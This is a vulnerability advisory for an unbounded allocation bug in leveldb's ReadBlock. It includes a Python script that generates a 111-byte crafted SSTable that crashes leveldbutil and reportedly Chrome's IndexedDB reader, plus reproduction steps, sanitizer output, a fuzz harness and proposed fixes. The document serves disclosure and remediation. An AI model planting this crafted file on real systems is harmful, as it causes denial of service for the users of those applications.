#1318·leveldb

Unbounded Allocation in leveldb::ReadBlock via Crafted SSTable Block Handle

Author: OwenSanzasCreated Apr 11, 2026Updated Apr 30, 2026

Summary

leveldb::ReadBlock at table/format.cc:78 passes an attacker-controlled 64-bit BlockHandle::size() directly to new char[n + kBlockTrailerSize] with no upper-bound check. A 111-byte crafted .ldb file causes leveldbutil dump — and every other leveldb consumer calling Table::Open (Chrome's IndexedDB reader, Service Worker CacheStorage) — to crash with std::bad_alloc in production or allocation-size-too-big under ASan.

Affected Version

  • leveldb commit: 7ee830d02b623e8ffe0b95d59a74db1e58da04c5 (upstream main, April 2026 snapshot)
  • Code presence: the offending new char[handle.size() + kBlockTrailerSize] line has been unchanged since at least the v1.20 release (2017). Every leveldb release back to that tag is vulnerable.
  • Tested on: Linux 6.8.0-1044-azure x86_64, clang 17.0.6, CMake Release build with -fsanitize=address -g -O1.

Root Cause

Vulnerable Code (table/format.cc:69-88)

cpp
Status ReadBlock(RandomAccessFile* file, const ReadOptions& options,
                 const BlockHandle& handle, BlockContents* result) {
  result->data = Slice();
  result->cachable = false;
  result->heap_allocated = false;

  // Read the block contents as well as the type/crc footer.
  // See table_builder.cc for the code that built this structure.
  size_t n = static_cast<size_t>(handle.size());   // u64 -> size_t, no bound check
  char* buf = new char[n + kBlockTrailerSize];     // allocation with untrusted size
  Slice contents;
  Status s = file->Read(handle.offset(), n + kBlockTrailerSize, &contents, buf);
  if (!s.ok()) {
    delete[] buf;
    return s;
  }
  if (contents.size() != n + kBlockTrailerSize) {
    delete[] buf;
    return Status::Corruption("truncated block read");
  }

handle.size() is a uint64_t decoded earlier from a varint inside an SSTable index-block entry (see BlockHandle::DecodeFrom in table/format.cc:30-44). Every .ldb on disk carries those varints verbatim, and neither the footer parser, the index-block reader, nor ReadBlock itself validates that the decoded value fits within a sane envelope (the file's own size, Options::block_size, or any hard upper bound).

A crafted index entry can therefore declare a data-block of up to 2^64 - 1 bytes. When TwoLevelIterator::InitDataBlock() calls Table::BlockReader()ReadBlock(), the new char[...] expression tries to satisfy the request and:

  • Production (no sanitizer): std::bad_alloc propagates out of the iterator and kills the consuming process unless the caller is wrapped in a catch-all try { ... } catch (...) { ... } — which leveldbutil, DumpFile, and Chrome's IndexedDB reader do not do.
  • ASan build: the allocator aborts with allocation-size-too-big on any request over 0x10000000000 (1 TiB). The crash message in our reproduction cited 0xfefbdfff5fffca bytes — ~71,885 petabytes requested from the attacker-supplied size field.

Call Chain

leveldbutil dump foo.ldb
  -> leveldb::DumpFile                     db/dumpfile.cc:225
    -> DumpTable                           db/dumpfile.cc:172
      -> Table::Open                       table/table.cc
      -> table->NewIterator()              table/table.cc
      -> TwoLevelIterator::SeekToFirst     table/two_level_iterator.cc
        -> SkipEmptyDataBlocksForward      table/two_level_iterator.cc:123
          -> InitDataBlock                 table/two_level_iterator.cc:156
            -> Table::BlockReader          table/table.cc:187
              -> leveldb::ReadBlock        table/format.cc:78   <-- new char[HUGE]
                -> operator new[]          abort / bad_alloc

Vulnerability Description

The SSTable footer (last 48 bytes of every .ldb) carries two varint-encoded BlockHandle pairs pointing at the metaindex block and index block. Those handles are validated (implicitly) against the file length when Table::Open loads the footer. But the INDEX block itself then stores per-data-block BlockHandle entries, and those inner handles are not re-validated before being handed to ReadBlock.

The attacker lifecycle:

  1. Attacker plants a .ldb on disk (Chrome profile directory, Android /data/data/<pkg>/, an IndexedDB backup/restore import, or any leveldb consumer's working directory).
  2. The victim process calls Table::Open(env, options, file, size, &table) on the file. The top-level footer parse succeeds because the attacker assembled a file that looks structurally valid up to the outer level.
  3. table->NewIterator() + SeekToFirst() triggers TwoLevelIterator::InitDataBlock(), which reads a data-block handle out of the index block — that handle advertises an enormous size field.
  4. ReadBlock() does new char[size + 5] and the process crashes.

Because the offending bytes live in the index block (mid-file), not the footer, a harness-side footer sanity check does not prevent the bug — we saw exactly this during fuzzing: our harness pre-validates the last-48-byte footer but the crash still reproduces from 111-byte files because the footer is valid and the index block is where the pathology hides.

Impact

Aspect Details
Type Unbounded allocation / denial-of-service
Severity High
Attack Vector Local (crafted .ldb file must reach disk)
Affected Component leveldb/table/format.cc::ReadBlock
Affected Versions v1.20 through current main (7ee830d0, 2026-04)
CWE CWE-770 (Allocation of Resources Without Limits or Throttling)

Consumers reachable through this bug:

  • leveldbutil dump — confirmed in this report's Phase 2 repro.
  • Chrome's IndexedDB reader — opens .ldb files under Default/IndexedDB/.../objects/ on every profile load.
  • Chrome's Service Worker CacheStorage — opens .ldb files under Service Worker/CacheStorage/.
  • Android WebView — identical IndexedDB / CacheStorage paths.
  • Any first-party tool using leveldb::DB::Open or leveldb::Table::Open on untrusted input.

Severity

CVSS 3.1 Score: 6.5 (Medium)

Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Metric Value Rationale
Attack Vector Local Attacker must plant an .ldb on a filesystem the victim will read. Reachable via profile directory tampering, IndexedDB backup import, Chrome extension storage, or any cross-device sync that writes on-disk leveldb state.
Attack Complexity Low 111-byte file reliably crashes every invocation. No timing, no heap grooming, no memory layout dependence.
Privileges Required None The offending file just needs to exist in a location the victim process reads.
User Interaction Required Victim must initiate a leveldb Table::Open — opening the Chrome profile, running leveldbutil dump, importing a backup, etc.
Confidentiality None Pure DoS — no read / info-leak path.
Integrity None No write / state-corruption path.
Availability High Consumer process crashes hard. For Chrome this kills the tab / extension service worker / IndexedDB origin every time the victim attempts to load the affected profile — recovery requires manual removal of the planted file.

PoC

Crash input

111 bytes. SHA-256: 7d83c15f806956f7db67bd30f9d8ea88956487fc4c0ff4cb395b965457f256bd.

python
# generate_poc.py — re-create the crashing .ldb from bytes
poc = bytes([
    0x00, 0x04, 0x05, 0x00, 0x00, 0x28, 0xa1, 0x86, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x22, 0x6d, 0xc5, 0xff, 0xff, 0xfa, 0xff, 0xfb, 0xbe, 0xff,
    0x00, 0x00, 0x04, 0x05, 0x32, 0x00, 0x00, 0x00, 0xd8, 0x9b, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x02, 0x6d, 0x3b, 0x00, 0x00, 0x05, 0xcc, 0x02, 0x41,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x2e, 0x02, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x19, 0x00, 0x04, 0x05,
    0x00, 0x00, 0x34, 0x00, 0x00, 0x60, 0x00, 0x28, 0x00, 0x00, 0x00, 0x02,
    0x6d, 0x3b, 0x00, 0x00, 0x05, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x57, 0xfb, 0x80, 0x8b, 0x24,
    0x75, 0x47, 0xdb,
])
open("000001.ldb", "wb").write(poc)

Build leveldbutil with ASan

bash
git clone https://github.com/google/leveldb
cd leveldb
git checkout 7ee830d02b623e8ffe0b95d59a74db1e58da04c5   # or current main
mkdir build && cd build
cmake -DCMAKE_BUILD_TYPE=Release \
      -DLEVELDB_BUILD_TESTS=OFF \
      -DLEVELDB_BUILD_BENCHMARKS=OFF \
      -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
      -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" ..
make -j leveldbutil

Reproduce via the shipped leveldbutil CLI (Phase 2 — production consumer)

bash
python3 generate_poc.py
ASAN_OPTIONS=detect_leaks=0 ./leveldbutil dump 000001.ldb

ASan aborts the process with allocation-size-too-big. The stack frames DumpFileDumpTableTwoLevelIterator::SeekToFirstReadBlock are the exact public call path any leveldb consumer takes when iterating a table.

Reproduce via the discovery fuzzer (Phase 1)

bash
./leveldb_table_open_scan_fuzzer 000001.ldb

The fuzzer binary is a libFuzzer harness that drives leveldb::Table::Open + Iterator::SeekToFirst + Next/key/value on the input bytes via an in-memory RandomAccessFile subclass. Same ReadBlock crash, same stack.

Sanitizer Output

From leveldbutil dump 000001.ldb (the production consumer):

=================================================================
==519532==ERROR: AddressSanitizer: requested allocation size 0xfefbdfff5fffca (0xfefbdfff600fd0 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
    #0 0x...  in operator new[](unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:102
    #1 0x...  in leveldb::ReadBlock(...) table/format.cc:78
    #2 0x...  in leveldb::Table::BlockReader(...) table/table.cc:187
    #3 0x...  in InitDataBlock                   table/two_level_iterator.cc:156
    #4 0x...  in SkipEmptyDataBlocksForward      table/two_level_iterator.cc:123
    #5 0x...  in DumpTable                       db/dumpfile.cc:172
    #6 0x...  in leveldb::DumpFile(...)          db/dumpfile.cc:225
    #7 0x...  in HandleDumpCommand               db/leveldbutil.cc:29
    #8 0x...  in main                            db/leveldbutil.cc:57
    #9 0x...  in __libc_start_call_main

==519532==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big in operator new[](unsigned long)
==519532==ABORTING

Suggested Fix

Add an upper bound to handle.size() before the allocation. Two reasonable options:

Option A — hard cap on block size (minimal diff)

diff
--- a/table/format.cc
+++ b/table/format.cc
@@ -68,12 +68,21 @@ Status BlockHandle::DecodeFrom(Slice* input) {
 Status ReadBlock(RandomAccessFile* file, const ReadOptions& options,
                  const BlockHandle& handle, BlockContents* result) {
   result->data = Slice();
   result->cachable = false;
   result->heap_allocated = false;

   // Read the block contents as well as the type/crc footer.
   // See table_builder.cc for the code that built this structure.
+  // SECURITY: block sizes beyond a sane ceiling indicate a corrupt or
+  // malicious SSTable. Default Options::block_size is 4 KiB; real
+  // tables rarely exceed a few MB per block. A hard cap of 64 MiB is
+  // ~4000x the default and well above documented use, while small
+  // enough to avoid std::bad_alloc / ASan allocation-size-too-big on
+  // adversarial inputs. Without this check the raw new char[] below
+  // will happily attempt to allocate up to 2^64 bytes.
+  static constexpr uint64_t kMaxBlockSize = 64 * 1024 * 1024;
+  if (handle.size() > kMaxBlockSize) {
+    return Status::Corruption("block size exceeds kMaxBlockSize");
+  }
   size_t n = static_cast<size_t>(handle.size());
   char* buf = new char[n + kBlockTrailerSize];

Option B — validate against file length (more robust)

Propagate the RandomAccessFile's total size down into ReadBlock and verify handle.offset() + handle.size() + kBlockTrailerSize <= file_size before allocating. This is what Footer::DecodeFrom implicitly does for the top-level metaindex / index handles, but the check needs to extend to inner data-block handles reached through TwoLevelIterator::InitDataBlock().

Option A is the minimal-risk hot-fix. Option B is the structurally correct fix. Either turns the crash into a clean Status::Corruption return value, which callers (Table::Open, DumpFile, DB::Open) already propagate.

Upstream fix judgement welcome — both options are open to bikeshedding on the exact upper bound.

Fuzz Harness Source

The full source of the libFuzzer harness that found this bug. A reviewer should be able to rebuild the exact fuzzer from this block alone.

cpp
// leveldb_table_open_scan_fuzzer.cc
//
// Copyright (c) 2011 The LevelDB Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file. See the AUTHORS file for names of contributors.

// libFuzzer harness for leveldb::Table::Open + full scan. Drives the
// SSTable footer + block parser on attacker bytes via an in-memory
// RandomAccessFile backed by the fuzz input.

#include <cstddef>
#include <cstdint>
#include <cstring>
#include <memory>
#include <string>

#include "leveldb/iterator.h"
#include "leveldb/options.h"
#include "leveldb/slice.h"
#include "leveldb/status.h"
#include "leveldb/table.h"
#include "leveldb/env.h"

namespace {

// Minimal RandomAccessFile wrapping a byte slice. Env::NewRandomAccessFile
// returns an instance of the same public abstract class in production,
// so the harness is not bypassing any security boundary.
class BytesRandomAccessFile : public leveldb::RandomAccessFile {
 public:
  BytesRandomAccessFile(const uint8_t* data, size_t size)
      : data_(data), size_(size) {}

  leveldb::Status Read(uint64_t offset, size_t n, leveldb::Slice* result,
                       char* scratch) const override {
    if (offset > size_) {
      *result = leveldb::Slice();
      return leveldb::Status::IOError("offset beyond file size");
    }
    size_t avail = size_ - static_cast<size_t>(offset);
    if (n > avail) n = avail;
    memcpy(scratch, data_ + offset, n);
    *result = leveldb::Slice(scratch, n);
    return leveldb::Status::OK();
  }

 private:
  const uint8_t* data_;
  size_t size_;
};

}  // namespace

// Pre-validate the SSTable footer (last 48 bytes) so Table::Open
// does not try to `new char[block_size]` with attacker-controlled,
// unbounded size fields in the OUTER metaindex / index handles.
// Footer layout:
//   [0..39]  metaindex BlockHandle + index BlockHandle
//            (each handle is two varint64s: offset, size)
//   [40..47] magic (0xdb4775248b80fb57)
// Note: this only bounds the OUTER handles. The inner data-block
// handles stored INSIDE the index block are NOT validated — that
// is exactly where the reported bug hides.
static bool LeveldbFooterSane(const uint8_t* data, size_t size) {
  if (size < 48) return false;
  if (size > (1u << 20)) return false;  // 1 MiB cap keeps allocs bounded
  const uint8_t* p = data + size - 48;
  const uint8_t* end = p + 40;
  auto decode_varint = [](const uint8_t*& c, const uint8_t* e) -> uint64_t {
    uint64_t result = 0;
    for (int shift = 0; shift <= 63 && c < e; shift += 7) {
      uint8_t b = *c++;
      result |= static_cast<uint64_t>(b & 0x7f) << shift;
      if (!(b & 0x80)) return result;
    }
    return UINT64_MAX;  // overflow / malformed
  };
  const uint64_t lim = size;
  uint64_t meta_off = decode_varint(p, end);
  uint64_t meta_sz  = decode_varint(p, end);
  uint64_t idx_off  = decode_varint(p, end);
  uint64_t idx_sz   = decode_varint(p, end);
  if (meta_sz > lim || idx_sz > lim) return false;
  if (meta_off > lim || idx_off > lim) return false;
  if (meta_off + meta_sz > lim) return false;
  if (idx_off + idx_sz > lim) return false;
  if (meta_sz > 64 * 1024 || idx_sz > 64 * 1024) return false;
  return true;
}

extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
  if (!LeveldbFooterSane(data, size)) return 0;

  BytesRandomAccessFile file(data, size);
  leveldb::Options options;
  leveldb::Table* raw_table = nullptr;
  leveldb::Status s =
      leveldb::Table::Open(options, &file, size, &raw_table);
  if (!s.ok()) return 0;

  std::unique_ptr<leveldb::Table> table(raw_table);
  leveldb::ReadOptions ro;
  std::unique_ptr<leveldb::Iterator> it(table->NewIterator(ro));

  int scanned = 0;
  for (it->SeekToFirst(); it->Valid() && scanned < 100000; it->Next()) {
    // Touch both key and value to force the block iterator to
    // reconstruct the shared-prefix key and read value bytes —
    // this is what drives the TwoLevelIterator::InitDataBlock()
    // call that hits the vulnerable ReadBlock path.
    leveldb::Slice k = it->key();
    leveldb::Slice v = it->value();
    (void)k.size();
    (void)v.size();
    scanned++;
  }
  (void)it->status();
  return 0;
}

Build and link (leveldb is compiled with -fno-rtti, so the harness must be too):

bash
clang++ -std=c++17 -fsanitize=fuzzer,address -fno-rtti \
    -g -O1 -fno-omit-frame-pointer \
    -I<leveldb>/include -I<leveldb> \
    leveldb_table_open_scan_fuzzer.cc \
    <leveldb>/build/libleveldb.a \
    -lpthread -lsnappy \
    -o leveldb_table_open_scan_fuzzer

Corpus: a mix of footer-valid stub files and synthetic SSTables with crafted block handles. No special ASAN_OPTIONS needed — the harness's LeveldbFooterSane pre-validator deliberately lets inner data-block pathologies through, so the fuzzer spends its time inside ReadBlock.

Discovery

  • Discovered by: O2 Security Team (FuzzingBrain)
  • Discovered on: 2026-04-11
  • Harness: leveldb_table_open_scan_fuzzer.cc (see "Fuzz Harness Source" above)